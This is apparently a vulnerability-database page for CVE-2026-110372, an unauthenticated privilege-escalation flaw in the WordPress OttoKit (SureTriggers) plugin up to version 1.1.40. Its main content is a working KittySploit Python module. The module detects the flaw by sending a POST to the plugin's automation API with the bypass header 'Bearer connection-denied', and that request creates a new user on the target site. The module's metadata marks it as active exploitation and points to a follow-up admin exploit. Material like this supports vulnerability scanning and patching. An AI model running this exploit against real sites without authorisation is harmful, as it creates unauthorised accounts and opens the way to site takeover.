OttoKit CVE-2026-110372 connection-denied detect
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2026-110372 | 20 Oct 202607:00 | – | circl | |
| WordPress OttoKit: Permissions, licensing, and access control issues | 17 Oct 202616:00 | – | cnnvd | |
| CVE-2026-110372 | 18 Oct 202611:00 | – | cve | |
| CVE-2026-110372 WordPress OttoKit plugin <= 1.1.40 - Privilege Escalation vulnerability | 18 Oct 202611:00 | – | cvelist | |
| EUVD-2026-103424 | 18 Oct 202611:00 | – | euvd | |
| OttoKit CVE-2026-110372 connection-denied privesc | 9 Nov 202607:42 | – | kittysploit | |
| WordPress OttoKit Plugin <= 1.1.40 - Unauthenticated Privilege Escalation via connection-denied Token | 10 Nov 202602:04 | – | nuclei | |
| CVE-2026-110372 | 18 Oct 202611:16 | – | nvd | |
| WordPress OttoKit plugin <= 1.1.40 - Privilege Escalation vulnerability | 16 Oct 202610:36 | – | patchstack | |
| PT-2026-116591 | 18 Oct 202600:00 | – | ptsecurity |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""OttoKit (SureTriggers) <= 1.1.40 connection-denied API secret bypass (CVE-2026-110372)."""
import json
import secrets
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.wordpress import Wordpress
_PLUGIN = "suretriggers"
_VULN_HIGH = (1, 1, 40)
class Module(Scanner, Http_client, Wordpress):
__info__ = {
"name": "OttoKit CVE-2026-110372 connection-denied detect",
"description": (
"Detects CVE-2026-110372: when OttoKit stores secret 'connection-denied', "
"st-authorization: Bearer connection-denied allows unauthenticated automation API user creation."
),
"author": ["KittySploit Team"],
"severity": "critical",
"cve": "CVE-2026-110372",
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2026-110372",
"https://wpsec.com/vuln/WPSEC-2026-1053/",
],
"modules": ["auxiliary/admin/http/ottokit_cve_2026_110372_connection_denied"],
"tags": ["web", "scanner", "wordpress", "ottokit", "suretriggers", "cve-2026-110372"],
"agent": {
"risk": "active",
"effects": ["network_probe", "active_exploitation"],
"approval_required": True,
"produces": ["risk_signals", "exploit_paths"],
"chain": {
"suggested_followups": ["auxiliary/admin/http/ottokit_cve_2026_110372_connection_denied"],
},
},
}
base_path = OptString("/", "WordPress base path", required=False)
def _base(self) -> str:
return self.wp_normalize_base_path(self.base_path or "/")
def _join(self, suffix: str) -> str:
root = self._base()
if not suffix.startswith("/"):
suffix = "/" + suffix
return f"{root}{suffix}" if root != "/" else suffix
def run(self):
version = self.wp_plugin_version(_PLUGIN, self._base()) or ""
if version and not self.wp_version_in_range(version, (0, 0, 0), _VULN_HIGH):
return False
idx = self.http_request(method="GET", path=self._join("/wp-json/"), allow_redirects=True)
if not idx or "sure-triggers" not in (idx.text or ""):
return False
user = f"ksprobe{secrets.token_hex(3)}"
email = f"{user}@example.test"
pwd = secrets.token_urlsafe(10)
body = json.dumps(
{
"integration": "WordPress",
"type_event": "create_user_if_not_exists",
"selected_options": {
"user_name": user,
"user_email": email,
"password": pwd,
"first_name": "Probe",
"last_name": "Check",
"role": "subscriber",
"force_update_user_role": True,
"add_user_roles": True,
"show_password": True,
},
}
)
r = self.http_request(
method="POST",
path=self._join("/wp-json/sure-triggers/v1/automation/action"),
headers={
"Content-Type": "application/json",
"st-authorization": "Bearer connection-denied",
},
data=body,
allow_redirects=False,
)
if not r or r.status_code != 200:
return False
text = r.text or ""
if "rest_forbidden" in text or "rest_no_route" in text:
return False
if '"success":true' in text.replace(" ", "") or '"success": true' in text:
if "user_login" in text or "user_registered" in text:
self.set_info(
severity="critical",
reason="CVE-2026-110372 — automation API accepts Bearer connection-denied",
path="/wp-json/sure-triggers/v1/automation/action",
cve="CVE-2026-110372",
)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
09 Nov 2026 07:42Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.19.8
EPSS0.01365
SSVC